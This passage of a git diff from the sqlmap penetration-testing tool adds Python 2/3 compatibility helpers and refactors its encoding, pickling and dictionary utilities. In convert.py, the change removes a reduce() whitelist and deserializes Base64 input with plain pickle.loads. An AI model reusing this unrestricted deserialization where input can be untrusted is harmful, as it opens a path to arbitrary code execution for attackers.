b"\n") + if not hashlib.sha256(content).hexdigest() == expected: + retVal &= False + break + + return retVal diff --git a/lib/core/compat.py b/lib/core/compat.py new file mode 100644 index 00000000000..7020863da46 --- /dev/null +++ b/lib/core/compat.py @@ -0,0 +1,429 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import division + +import codecs +import binascii +import functools +import io +import math +import os +import random +import re +import sys +import time +import uuid + +class WichmannHill(random.Random): + """ + Reference: https://svn.python.org/projects/python/trunk/Lib/random.py + """ + + VERSION = 1 # used by getstate/setstate + + def seed(self, a=None): + """Initialize internal state from hashable object. + + None or no argument seeds from current time or from an operating + system specific randomness source if available. + + If a is not None or an int or long, hash(a) is used instead. + + If a is an int or long, a is used directly. Distinct values between + 0 and 27814431486575L inclusive are guaranteed to yield distinct + internal states (this guarantee is specific to the default + Wichmann-Hill generator). + """ + + if a is None: + try: + a = int(binascii.hexlify(os.urandom(16)), 16) + except NotImplementedError: + a = int(time.time() * 256) # use fractional seconds + + if not isinstance(a, int): + a = hash(a) + + a, x = divmod(a, 30268) + a, y = divmod(a, 30306) + a, z = divmod(a, 30322) + self._seed = int(x) + 1, int(y) + 1, int(z) + 1 + + self.gauss_next = None + + def random(self): + """Get the next random number in the range [0.0, 1.0).""" + + # Wichman-Hill random number generator. + # + # Wichmann, B. A. & Hill, I. D. (1982) + # Algorithm AS 183: + # An efficient and portable pseudo-random number generator + # Applied Statistics 31 (1982) 188-190 + # + # see also: + # Correction to Algorithm AS 183 + # Applied Statistics 33 (1984) 123 + # + # McLeod, A. I. (1985) + # A remark on Algorithm AS 183 + # Applied Statistics 34 (1985),198-200 + + # This part is thread-unsafe: + # BEGIN CRITICAL SECTION + x, y, z = self._seed + x = (171 * x) % 30269 + y = (172 * y) % 30307 + z = (170 * z) % 30323 + self._seed = x, y, z + # END CRITICAL SECTION + + # Note: on a platform using IEEE-754 double arithmetic, this can + # never return 0.0 (asserted by Tim; proof too long for a comment). + return (x / 30269.0 + y / 30307.0 + z / 30323.0) % 1.0 + + def getstate(self): + """Return internal state; can be passed to setstate() later.""" + return self.VERSION, self._seed, self.gauss_next + + def setstate(self, state): + """Restore internal state from object returned by getstate().""" + version = state[0] + if version == 1: + version, self._seed, self.gauss_next = state + else: + raise ValueError("state with version %s passed to " + "Random.setstate() of version %s" % + (version, self.VERSION)) + + def jumpahead(self, n): + """Act as if n calls to random() were made, but quickly. + + n is an int, greater than or equal to 0. + + Example use: If you have 2 threads and know that each will + consume no more than a million random numbers, create two Random + objects r1 and r2, then do + r2.setstate(r1.getstate()) + r2.jumpahead(1000000) + Then r1 and r2 will use guaranteed-disjoint segments of the full + period. + """ + + if n < 0: + raise ValueError("n must be >= 0") + x, y, z = self._seed + x = int(x * pow(171, n, 30269)) % 30269 + y = int(y * pow(172, n, 30307)) % 30307 + z = int(z * pow(170, n, 30323)) % 30323 + self._seed = x, y, z + + def __whseed(self, x=0, y=0, z=0): + """Set the Wichmann-Hill seed from (x, y, z). + + These must be integers in the range [0, 256). + """ + + if not type(x) == type(y) == type(z) == int: + raise TypeError('seeds must be integers') + if not (0 <= x < 256 and 0 <= y < 256 and 0 <= z < 256): + raise ValueError('seeds must be in range(0, 256)') + if 0 == x == y == z: + # Initialize from current time + t = int(time.time() * 256) + t = int((t & 0xffffff) ^ (t >> 24)) + t, x = divmod(t, 256) + t, y = divmod(t, 256) + t, z = divmod(t, 256) + # Zero is a poor seed, so substitute 1 + self._seed = (x or 1, y or 1, z or 1) + + self.gauss_next = None + + def whseed(self, a=None): + """Seed from hashable object's hash code. + + None or no argument seeds from current time. It is not guaranteed + that objects with distinct hash codes lead to distinct internal + states. + + This is obsolete, provided for compatibility with the seed routine + used prior to Python 2.1. Use the .seed() method instead. + """ + + if a is None: + self.__whseed() + return + a = hash(a) + a, x = divmod(a, 256) + a, y = divmod(a, 256) + a, z = divmod(a, 256) + x = (x + a) % 256 or 1 + y = (y + a) % 256 or 1 + z = (z + a) % 256 or 1 + self.__whseed(x, y, z) + +def patchHeaders(headers): + if headers is not None and not hasattr(headers, "headers"): + if isinstance(headers, dict): + class _(dict): + def __getitem__(self, key): + for key_ in self: + if key_.lower() == key.lower(): + return super(_, self).__getitem__(key_) + + raise KeyError(key) + + def get(self, key, default=None): + try: + return self[key] + except KeyError: + return default + + headers = _(headers) + + headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers] + + return headers + +def cmp(a, b): + """ + >>> cmp("a", "b") + -1 + >>> cmp(2, 1) + 1 + """ + + if a < b: + return -1 + elif a > b: + return 1 + else: + return 0 + +# Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py +def choose_boundary(): + """ + >>> len(choose_boundary()) == 32 + True + """ + + retval = "" + + try: + retval = uuid.uuid4().hex + except AttributeError: + retval = "".join(random.sample("0123456789abcdef", 1)[0] for _ in xrange(32)) + + return retval + +# Reference: http://python3porting.com/differences.html +def round(x, d=0): + """ + >>> round(2.0) + 2.0 + >>> round(2.5) + 3.0 + """ + + p = 10 ** d + if x > 0: + return float(math.floor((x * p) + 0.5)) / p + else: + return float(math.ceil((x * p) - 0.5)) / p + +# Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/ +def cmp_to_key(mycmp): + """Convert a cmp= function into a key= function""" + class K(object): + __slots__ = ['obj'] + + def __init__(self, obj, *args): + self.obj = obj + + def __lt__(self, other): + return mycmp(self.obj, other.obj) < 0 + + def __gt__(self, other): + return mycmp(self.obj, other.obj) > 0 + + def __eq__(self, other): + return mycmp(self.obj, other.obj) == 0 + + def __le__(self, other): + return mycmp(self.obj, other.obj) <= 0 + + def __ge__(self, other): + return mycmp(self.obj, other.obj) >= 0 + + def __ne__(self, other): + return mycmp(self.obj, other.obj) != 0 + + def __hash__(self): + raise TypeError('hash not implemented') + + return K + +# Note: patch for Python 2.6 +if not hasattr(functools, "cmp_to_key"): + functools.cmp_to_key = cmp_to_key + +if sys.version_info >= (3, 0): + xrange = range + buffer = memoryview +else: + xrange = xrange + buffer = buffer + +def LooseVersion(version): + """ + >>> LooseVersion("1.0") == LooseVersion("1.0") + True + >>> LooseVersion("1.0.1") > LooseVersion("1.0") + True + >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1") + True + >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") + True + >>> LooseVersion("foobar") > LooseVersion("1.0") + False + >>> LooseVersion("1.0") > LooseVersion("foobar") + False + >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3") + True + >>> LooseVersion("8.0.22-0ubuntu0.20.04.2") + 8.000022 + """ + + match = re.search(r"\A(\d[\d.]*)", version or "") + + if match: + result = 0 + value = match.group(1) + weight = 1.0 + for part in value.strip('.').split('.'): + if part.isdigit(): + result += int(part) * weight + weight *= 1e-3 + else: + result = float("NaN") + + return result + +# NOTE: codecs.open re-implementation (deprecated in Python 3.14) + +try: + # Py2 + _text_type = unicode + _bytes_types = (str, bytearray) +except NameError: + # Py3 + _text_type = str + _bytes_types = (bytes, bytearray, memoryview) + +_WRITE_CHARS = ("w", "a", "x", "+") + +def _is_write_mode(mode): + return any(ch in mode for ch in _WRITE_CHARS) + +class MixedWriteTextIO(object): + """ + Text-ish stream wrapper that accepts both text and bytes in write(). + Bytes are decoded using the file's (encoding, errors) before writing. + + Optionally approximates line-buffering by flushing when a newline is written. + """ + def __init__(self, fh, encoding, errors, line_buffered=False): + self._fh = fh + self._encoding = encoding + self._errors = errors + self._line_buffered = line_buffered + + def write(self, data): + # bytes-like but not text -> decode + if isinstance(data, _bytes_types) and not isinstance(data, _text_type): + data = bytes(data).decode(self._encoding, self._errors) + elif not isinstance(data, _text_type): + data = _text_type(data) + + n = self._fh.write(data) + + # Approximate "line buffering" behavior if requested + if self._line_buffered and u"\n" in data: + try: + self._fh.flush() + except Exception: + pass + + return n + + def writelines(self, lines): + for x in lines: + self.write(x) + + def __iter__(self): + return iter(self._fh) + + def __next__(self): + return next(self._fh) + + def next(self): # Py2 + return self.__next__() + + def __getattr__(self, name): + return getattr(self._fh, name) + + def __enter__(self): + self._fh.__enter__() + return self + + def __exit__(self, exc_type, exc, tb): + return self._fh.__exit__(exc_type, exc, tb) + + +def _codecs_open(filename, mode="r", encoding=None, errors="strict", buffering=-1): + """ + Replacement for deprecated codecs.open() entry point with sqlmap-friendly behavior. + + - If encoding is None: return io.open(...) as-is. + - If encoding is set: force underlying binary mode and wrap via StreamReaderWriter + (like codecs.open()). + - For write-ish modes: return a wrapper that also accepts bytes on .write(). + - Handles buffering=1 in binary mode by downgrading underlying buffering to -1, + while optionally preserving "flush on newline" behavior in the wrapper. + """ + if encoding is None: + return io.open(filename, mode, buffering=buffering) + + bmode = mode + if "b" not in bmode: + bmode += "b" + + # Avoid line-buffering warnings/errors on binary streams + line_buffered = (buffering == 1) + if line_buffered: + buffering = -1 + + f = io.open(filename, bmode, buffering=buffering) + + try: + info = codecs.lookup(encoding) + srw = codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, errors) + srw.encoding = encoding + + if _is_write_mode(mode): + return MixedWriteTextIO(srw, encoding, errors, line_buffered=line_buffered) + + return srw + except Exception: + try: + f.close() + finally: + raise + +codecs_open = _codecs_open if sys.version_info >= (3, 14) else codecs.open diff --git a/lib/core/convert.py b/lib/core/convert.py index e931d81ecee..0b4cddd739e 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,220 +9,464 @@ import cPickle as pickle except: import pickle -finally: - import pickle as picklePy import base64 +import binascii +import codecs import json import re -import StringIO import sys - +import time + +from lib.core.bigarray import BigArray +from lib.core.compat import xrange +from lib.core.data import conf +from lib.core.data import kb +from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA +from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN +from lib.core.settings import NULL +from lib.core.settings import PICKLE_PROTOCOL +from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING -from lib.core.settings import PICKLE_REDUCE_WHITELIST - -def base64decode(value): - """ - Decodes string value from Base64 to plain format - - >>> base64decode('Zm9vYmFy') - 'foobar' - """ - - return base64.b64decode(value) - -def base64encode(value): - """ - Encodes string value from plain to Base64 format +from thirdparty import six +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import html_parser +from thirdparty.six.moves import collections_abc as _collections - >>> base64encode('foobar') - 'Zm9vYmFy' - """ - - return base64.b64encode(value) +try: + from html import escape as htmlEscape +except ImportError: + from cgi import escape as htmlEscape def base64pickle(value): """ Serializes (with pickle) and encodes to Base64 format supplied (binary) value - >>> base64pickle('foobar') - 'gAJVBmZvb2JhcnEBLg==' + >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] + True """ retVal = None try: - retVal = base64encode(pickle.dumps(value, pickle.HIGHEST_PROTOCOL)) + retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) except: warnMsg = "problem occurred while serializing " warnMsg += "instance of a type '%s'" % type(value) singleTimeWarnMessage(warnMsg) try: - retVal = base64encode(pickle.dumps(value)) + retVal = encodeBase64(pickle.dumps(value), binary=False) except: - retVal = base64encode(pickle.dumps(str(value), pickle.HIGHEST_PROTOCOL)) + raise return retVal -def base64unpickle(value, unsafe=False): +def base64unpickle(value): """ Decodes value from Base64 to plain format and deserializes (with pickle) its content - >>> base64unpickle('gAJVBmZvb2JhcnEBLg==') - 'foobar' + >>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object + True """ retVal = None - def _(self): - if len(self.stack) > 1: - func = self.stack[-2] - if func not in PICKLE_REDUCE_WHITELIST: - raise Exception("abusing reduce() is bad, Mkay!") - self.load_reduce() - - def loads(str): - f = StringIO.StringIO(str) - if unsafe: - unpickler = picklePy.Unpickler(f) - unpickler.dispatch[picklePy.REDUCE] = _ - else: - unpickler = pickle.Unpickler(f) - return unpickler.load() - try: - retVal = loads(base64decode(value)) + retVal = pickle.loads(decodeBase64(value)) except TypeError: - retVal = loads(base64decode(bytes(value))) + retVal = pickle.loads(decodeBase64(bytes(value))) return retVal -def hexdecode(value): +def htmlUnescape(value): + """ + Returns HTML unescaped value + + >>> htmlUnescape('a<b') == 'a>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar' + True + >>> htmlUnescape('foobar') == 'foobar' + True + >>> htmlUnescape('©€') == htmlUnescape('©€') + True """ - Decodes string value from hex to plain format - >>> hexdecode('666f6f626172') - 'foobar' + if value and isinstance(value, six.string_types): + if six.PY3: + import html + return html.unescape(value) + else: + return html_parser.HTMLParser().unescape(value) + return value + +def singleTimeWarnMessage(message): # Cross-referenced function + sys.stdout.write(message) + sys.stdout.write("\n") + sys.stdout.flush() + +def filterNone(values): # Cross-referenced function + return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values + +def isListLike(value): # Cross-referenced function + return isinstance(value, (list, tuple, set, BigArray)) + +def shellExec(cmd): # Cross-referenced function + raise NotImplementedError + +def jsonize(data): + """ + Returns JSON serialized data + + >>> jsonize({'foo':'bar'}) + '{\\n "foo": "bar"\\n}' """ - value = value.lower() - return (value[2:] if value.startswith("0x") else value).decode("hex") + return json.dumps(data, sort_keys=False, indent=4) -def hexencode(value, encoding=None): +def dejsonize(data): """ - Encodes string value from plain to hex format + Returns JSON deserialized data - >>> hexencode('foobar') - '666f6f626172' + >>> dejsonize('{\\n "foo": "bar"\\n}') == {u'foo': u'bar'} + True """ - return unicodeencode(value, encoding).encode("hex") + return json.loads(data) -def unicodeencode(value, encoding=None): +def decodeHex(value, binary=True): """ - Returns 8-bit string representation of the supplied unicode value + Returns a decoded representation of the provided hexadecimal value - >>> unicodeencode(u'foobar') - 'foobar' + >>> decodeHex("313233") == b"123" + True + >>> decodeHex("313233", binary=False) == u"123" + True """ retVal = value - if isinstance(value, unicode): - try: - retVal = value.encode(encoding or UNICODE_ENCODING) - except UnicodeEncodeError: - retVal = value.encode(UNICODE_ENCODING, "replace") + + if isinstance(value, six.binary_type): + value = getText(value) + + if value.lower().startswith("0x"): + value = value[2:] + + try: + retVal = codecs.decode(value, "hex") + except LookupError: + retVal = binascii.unhexlify(value) + + if not binary: + retVal = getText(retVal) + return retVal -def utf8encode(value): +def encodeHex(value, binary=True): """ - Returns 8-bit string representation of the supplied UTF-8 value - - >>> utf8encode(u'foobar') - 'foobar' + Returns an encoded representation of the provided value + + >>> encodeHex(b"123") == b"313233" + True + >>> encodeHex("123", binary=False) + '313233' + >>> encodeHex(b"123"[0]) == b"31" + True + >>> encodeHex(123, binary=False) + '7b' """ - return unicodeencode(value, "utf-8") + if isinstance(value, int): + value = six.int2byte(value) + + if isinstance(value, six.text_type): + value = value.encode(UNICODE_ENCODING) + + try: + retVal = codecs.encode(value, "hex") + except LookupError: + retVal = binascii.hexlify(value) + + if not binary: + retVal = getText(retVal) -def utf8decode(value): + return retVal + +def decodeBase64(value, binary=True, encoding=None): """ - Returns UTF-8 representation of the supplied 8-bit string representation + Returns a decoded representation of provided Base64 value + + >>> decodeBase64("MTIz") == b"123" + True + >>> decodeBase64("MTIz", binary=False) + '123' + >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE") + True + >>> decodeBase64(b"MTIzNA") == b"1234" + True + >>> decodeBase64("MTIzNA") == b"1234" + True + >>> decodeBase64("MTIzNA==") == b"1234" + True + """ + + if value is None: + return None + + padding = b'=' if isinstance(value, bytes) else '=' + + # Reference: https://stackoverflow.com/a/49459036 + if not value.endswith(padding): + value += 3 * padding + + # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications + # Reference: https://perldoc.perl.org/MIME/Base64.html + if isinstance(value, bytes): + value = value.replace(b'-', b'+').replace(b'_', b'/') + else: + value = value.replace('-', '+').replace('_', '/') + + retVal = base64.b64decode(value) - >>> utf8decode('foobar') - u'foobar' + if not binary: + retVal = getText(retVal, encoding) + + return retVal + +def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): + """ + Returns a Base64 encoded representation of the provided value + + >>> encodeBase64(b"123") == b"MTIz" + True + >>> encodeBase64(u"1234", binary=False) + 'MTIzNA==' + >>> encodeBase64(u"1234", binary=False, padding=False) + 'MTIzNA' + >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True) + 'A-B_CDE' """ - return value.decode("utf-8") + if value is None: + return None + + if isinstance(value, six.text_type): + value = value.encode(encoding or UNICODE_ENCODING) + + retVal = base64.b64encode(value) + + if not binary: + retVal = getText(retVal, encoding) + + if safe: + padding = False -def htmlunescape(value): + # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications + # Reference: https://perldoc.perl.org/MIME/Base64.html + if isinstance(retVal, bytes): + retVal = retVal.replace(b'+', b'-').replace(b'/', b'_') + else: + retVal = retVal.replace('+', '-').replace('/', '_') + + if not padding: + retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=') + + return retVal + +def getBytes(value, encoding=None, errors="strict", unsafe=True): """ - Returns (basic conversion) HTML unescaped value + Returns byte representation of provided Unicode value - >>> htmlunescape('a<b') - 'a>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar" + True """ retVal = value - if value and isinstance(value, basestring): - codes = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'")) - retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal) - try: - retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal) - except ValueError: - pass - return retVal -def singleTimeWarnMessage(message): # Cross-referenced function - sys.stdout.write(message) - sys.stdout.write("\n") - sys.stdout.flush() - -def stdoutencode(data): - retVal = None + if encoding is None: + encoding = conf.get("encoding") or UNICODE_ENCODING try: - data = data or "" - - # Reference: http://bugs.python.org/issue1602 - if IS_WIN: - output = data.encode(sys.stdout.encoding, "replace") - - if '?' in output and '?' not in data: - warnMsg = "cannot properly display Unicode characters " - warnMsg += "inside Windows OS command prompt " - warnMsg += "(http://bugs.python.org/issue1602). All " - warnMsg += "unhandled occurrences will result in " - warnMsg += "replacement with '?' character. Please, find " - warnMsg += "proper character representation inside " - warnMsg += "corresponding output files. " - singleTimeWarnMessage(warnMsg) - - retVal = output + codecs.lookup(encoding) + except (LookupError, TypeError): + encoding = UNICODE_ENCODING + + if isinstance(value, bytearray): + return bytes(value) + elif isinstance(value, memoryview): + return value.tobytes() + elif isinstance(value, six.text_type): + if INVALID_UNICODE_PRIVATE_AREA: + if unsafe: + for char in xrange(0xF0000, 0xF00FF + 1): + value = value.replace(_unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000)) + + retVal = value.encode(encoding, errors) + + if unsafe: + retVal = re.sub((r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER).encode(), lambda _: decodeHex(_.group(1)), retVal) else: - retVal = data.encode(sys.stdout.encoding) - except: - retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data + try: + retVal = value.encode(encoding, errors) + except UnicodeError: + retVal = value.encode(UNICODE_ENCODING, errors="replace") + + if unsafe: + retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal) return retVal -def jsonize(data): +def getOrds(value): """ - Returns JSON serialized data + Returns ORD(...) representation of provided string value - >>> jsonize({'foo':'bar'}) - '{\\n "foo": "bar"\\n}' + >>> getOrds(u'fo\\xf6bar') + [102, 111, 246, 98, 97, 114] + >>> getOrds(b"fo\\xc3\\xb6bar") + [102, 111, 195, 182, 98, 97, 114] """ - return json.dumps(data, sort_keys=False, indent=4) + return [_ if isinstance(_, int) else ord(_) for _ in value] -def dejsonize(data): +def getUnicode(value, encoding=None, noneToNull=False): """ - Returns JSON deserialized data + Returns the unicode representation of the supplied value + + >>> getUnicode('test') == u'test' + True + >>> getUnicode(1) == u'1' + True + >>> getUnicode(None) == 'None' + True + >>> getUnicode(b'/etc/passwd') == '/etc/passwd' + True + """ + + # Best position for --time-limit mechanism + if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit): + raise SystemExit - >>> dejsonize('{\\n "foo": "bar"\\n}') - {u'foo': u'bar'} + if noneToNull and value is None: + return NULL + + if isinstance(value, six.text_type): + return value + elif isinstance(value, six.binary_type): + # Heuristics (if encoding not explicitly specified) + candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) + if all(_ in value for _ in (b'<', b'>')): + pass + elif b'\n' not in value and re.search(r"(?i)\w+\.\w{2,3}\Z|\A(\w:\\|/\w+)", six.text_type(value, UNICODE_ENCODING, errors="ignore")): + candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding"))) + elif conf.get("encoding") and b'\n' not in value: + candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) + + for candidate in candidates: + try: + return six.text_type(value, candidate) + except (UnicodeDecodeError, LookupError): + pass + + try: + return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) + except UnicodeDecodeError: + return six.text_type(value, UNICODE_ENCODING, errors="reversible") + elif isListLike(value): + value = list(getUnicode(_, encoding, noneToNull) for _ in value) + return value + else: + try: + return six.text_type(value) + except UnicodeDecodeError: + return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances + +def getText(value, encoding=None): """ + Returns textual value of a given value (Note: not necessary Unicode on Python2) - return json.loads(data) + >>> getText(b"foobar") + 'foobar' + >>> isinstance(getText(u"fo\\u2299bar"), six.text_type) + True + """ + + retVal = value + + if isinstance(value, six.binary_type): + retVal = getUnicode(value, encoding) + + if six.PY2: + try: + retVal = str(retVal) + except: + pass + + return retVal + +def stdoutEncode(value): + """ + Returns textual representation of a given value safe for writing to stdout + >>> stdoutEncode(b"foobar") + 'foobar' + """ + + if value is None: + value = "" + + if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: + output = shellExec("chcp") + match = re.search(r": (\d{3,})", output or "") + + if match: + try: + candidate = "cp%s" % match.group(1) + codecs.lookup(candidate) + kb.codePage = candidate + except (LookupError, TypeError): + pass + + kb.codePage = kb.codePage or "" + + encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING + + if six.PY3: + if isinstance(value, (bytes, bytearray)): + value = getUnicode(value, encoding) + elif not isinstance(value, str): + value = str(value) + + try: + retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace") + except (LookupError, TypeError): + retVal = value.encode("ascii", errors="replace").decode("ascii", errors="replace") + else: + if isinstance(value, six.text_type): + try: + retVal = value.encode(encoding, errors="replace") + except (LookupError, TypeError): + retVal = value.encode("ascii", errors="replace") + else: + retVal = value + + return retVal + +def getConsoleLength(value): + """ + Returns console width of unicode values + + >>> getConsoleLength("abc") + 3 + >>> getConsoleLength(u"\\u957f\\u6c5f") + 4 + """ + + if isinstance(value, six.text_type): + retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) + else: + retVal = len(value) + + return retVal diff --git a/lib/core/data.py b/lib/core/data.py index 3a56c7fb4c5..5523a60c49a 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index d32386f06fb..15160ae4d9f 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,49 +1,66 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import copy +import threading import types -from thirdparty.odict.odict import OrderedDict +from thirdparty.odict import OrderedDict +from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): """ - This class defines the sqlmap object, inheriting from Python data - type dictionary. + This class defines the dictionary with added capability to access members as attributes >>> foo = AttribDict() >>> foo.bar = 1 >>> foo.bar 1 + >>> import copy; copy.deepcopy(foo).bar + 1 """ - def __init__(self, indict=None, attribute=None): + def __init__(self, indict=None, attribute=None, keycheck=True): if indict is None: indict = {} - # Set any attributes here - before initialisation - # these remain as normal attributes - self.attribute = attribute dict.__init__(self, indict) - self.__initialised = True - - # After initialisation, setting attributes - # is the same as setting an item + self.__dict__["_attribute"] = attribute + self.__dict__["_keycheck"] = keycheck + self.__dict__["_initialized"] = True def __getattr__(self, item): """ Maps values to attributes Only called if there *is NOT* an attribute with this name """ + if item.startswith('__') and item.endswith('__'): + raise AttributeError(item) try: return self.__getitem__(item) except KeyError: - raise AttributeError("unable to access item '%s'" % item) + if self.__dict__.get("_keycheck"): + raise AttributeError("unable to access item '%s'" % item) + else: + return None + + def __delattr__(self, item): + """ + Deletes attributes + """ + + try: + return self.pop(item) + except KeyError: + if self.__dict__.get("_keycheck"): + raise AttributeError("unable to access item '%s'" % item) + else: + return None def __setattr__(self, item, value): """ @@ -51,14 +68,8 @@ def __setattr__(self, item, value): Only if we are initialised """ - # This test allows attributes to be set in the __init__ method - if "_AttribDict__initialised" not in self.__dict__: - return dict.__setattr__(self, item, value) - - # Any normal attributes are handled normally - elif item in self.__dict__: - dict.__setattr__(self, item, value) - + if "_initialized" not in self.__dict__ or item in self.__dict__: + self.__dict__[item] = value else: self.__setitem__(item, value) @@ -69,14 +80,12 @@ def __setstate__(self, dict): self.__dict__ = dict def __deepcopy__(self, memo): - retVal = self.__class__() + retVal = self.__class__(keycheck=self.__dict__.get("_keycheck")) memo[id(self)] = retVal - for attr in dir(self): - if not attr.startswith('_'): - value = getattr(self, attr) - if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): - setattr(retVal, attr, copy.deepcopy(value, memo)) + for attr, value in self.__dict__.items(): + if attr not in ('_attribute', '_keycheck', '_initialized'): + setattr(retVal, attr, copy.deepcopy(value, memo)) for key, value in self.items(): retVal.__setitem__(key, copy.deepcopy(value, memo)) @@ -84,8 +93,8 @@ def __deepcopy__(self, memo): return retVal class InjectionDict(AttribDict): - def __init__(self): - AttribDict.__init__(self) + def __init__(self, **kwargs): + AttribDict.__init__(self, **kwargs) self.place = None self.parameter = None @@ -109,9 +118,23 @@ def __init__(self): # Reference: https://www.kunxi.org/2014/05/lru-cache-in-python class LRUDict(object): + """ + This class defines the LRU dictionary + + >>> foo = LRUDict(capacity=2) + >>> foo["first"] = 1 + >>> foo["second"] = 2 + >>> foo["third"] = 3 + >>> "first" in foo + False + >>> "third" in foo + True + """ + def __init__(self, capacity): self.capacity = capacity self.cache = OrderedDict() + self.__lock = threading.Lock() def __len__(self): return len(self.cache) @@ -120,26 +143,101 @@ def __contains__(self, key): return key in self.cache def __getitem__(self, key): - try: + with self.__lock: value = self.cache.pop(key) self.cache[key] = value return value - except KeyError: - return -1 - def get(self, key): - return self.__getitem__(self, key) + def get(self, key, default=None): + try: + return self.__getitem__(key) + except: + return default def __setitem__(self, key, value): - try: - self.cache.pop(key) - except KeyError: - if len(self.cache) >= self.capacity: - self.cache.popitem(last=False) - self.cache[key] = value + with self.__lock: + try: + self.cache.pop(key) + except KeyError: + if len(self.cache) >= self.capacity: + self.cache.popitem(last=False) + self.cache[key] = value def set(self, key, value): self.__setitem__(key, value) def keys(self): return self.cache.keys() + +# Reference: https://code.activestate.com/recipes/576694/ +class OrderedSet(_collections.MutableSet): + """ + This class defines the set with ordered (as added) items + + >>> foo = OrderedSet() + >>> foo.add(1) + >>> foo.add(2) + >>> foo.add(3) + >>> foo.pop() + 3 + >>> foo.pop() + 2 + >>> foo.pop() + 1 + """ + + def __init__(self, iterable=None): + self.end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.map = {} # key --> [key, prev, next] + if iterable is not None: + self |= iterable + + def __len__(self): + return len(self.map) + + def __contains__(self, key): + return key in self.map + + def add(self, value): + if value not in self.map: + end = self.end + curr = end[1] + curr[2] = end[1] = self.map[value] = [value, curr, end] + + def discard(self, value): + if value in self.map: + value, prev, next = self.map.pop(value) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def pop(self, last=True): + if not self: + raise KeyError('set is empty') + key = self.end[1][0] if last else self.end[2][0] + self.discard(key) + return key + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, list(self)) + + def __eq__(self, other): + if isinstance(other, OrderedSet): + return len(self) == len(other) and list(self) == list(other) + return set(self) == set(other) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index ecc29d58e63..53603e81637 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,41 +1,93 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import functools -import hashlib import threading -from lib.core.settings import MAX_CACHE_ITEMS from lib.core.datatype import LRUDict +from lib.core.settings import 